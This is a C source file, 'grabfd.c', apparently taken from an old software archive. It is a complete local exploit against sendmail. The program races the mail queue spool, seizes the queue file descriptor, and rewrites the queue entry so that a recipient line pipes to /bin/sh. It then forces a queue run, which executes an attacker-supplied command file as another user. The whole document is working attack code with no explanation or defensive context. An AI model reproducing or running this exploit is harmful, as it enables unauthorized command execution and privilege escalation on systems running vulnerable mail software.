home *** CD-ROM | disk | FTP | other *** search
- /*
- * grabfd.c
- * usage: grabfd username command-file
- *
- * username: user to execute 'command-file' as.
- * command-file: file containing 10 lines of shell commands to execute.
- */
-
- #include <stdio.h>
- #include <unistd.h>
- #include <sys/fcntl.h>
- #include <sys/param.h>
-
- #ifndef SENDMAIL
- #define SENDMAIL "/usr/lib/sendmail"
- #endif
-
- #ifndef SPOOL_DIR
- #define SPOOL_DIR "/usr/spool/mqueue"
- #endif
-
- char myqfile[] = "D%s\nC%s\nR|/usr/ucb/tail|/bin/sh\n";
-
- main(argc,argv)
- int argc;
- char **argv;
- {
- int pid, fd;
- char tbuf[MAXPATHLEN], sysbuf[BUFSIZ];
-
- if (argc != 3) {
- (void)fprintf(stderr, "%s: user file\n",
- argv[0]);
- exit(1);
- }
-
- if (getpwnam(argv[1]) == NULL)
- (void)fprintf(stderr, "%s: user %s unknown (error ignored)\n",
- argv[0],
- argv[1]);
-
- if (access(argv[2], F_OK) == -1) {
- (void)fprintf(stderr, "%s: %s does not exist.\n",
- argv[0],
- argv[2]);
- exit(1);
- }
-
- if (access(SPOOL_DIR, X_OK) == -1) {
- (void)fprintf(stderr, "%s: cannot access %s.\n",
- argv[0],
- SPOOL_DIR);
- exit(1);
- }
-
- if (pid=fork()) {
-
- if (pid == -1) {
- (void)perror("fork");
- exit(1);
- }
-
- (void)sprintf(tbuf, "%s/tfAA%05d", SPOOL_DIR, pid);
- (void)sprintf(sysbuf, myqfile, argv[2], argv[1]);
-
- for (;;)
- if ((fd=(open(tbuf, O_WRONLY, 0))) != -1) {
- (void)printf("%s: grabbed queue fd.\n",
- argv[0]);
- (void)wait();
- (void)ftruncate(fd, 0);
- (void)write(fd, sysbuf, strlen(sysbuf));
- (void)close(fd);
- if(execl(SENDMAIL,
- "sendmail", "-q", (char *)0) == -1) {
- (void)perror("execl");
- exit(1);
- };
- }
- } else {
- (void)close(0);
- if (open("/etc/motd", O_RDONLY, 0) == -1) {
- (void)perror("open");
- exit(1);
- };
-
- if (execl(SENDMAIL,
- "sendmail",
- #ifdef sun
- "-os",
- #endif
- "-odq", getlogin(), (char *)0) == -1) {
- (void)perror("execl");
- exit(1);
- };
- }
- exit(1);
- }
-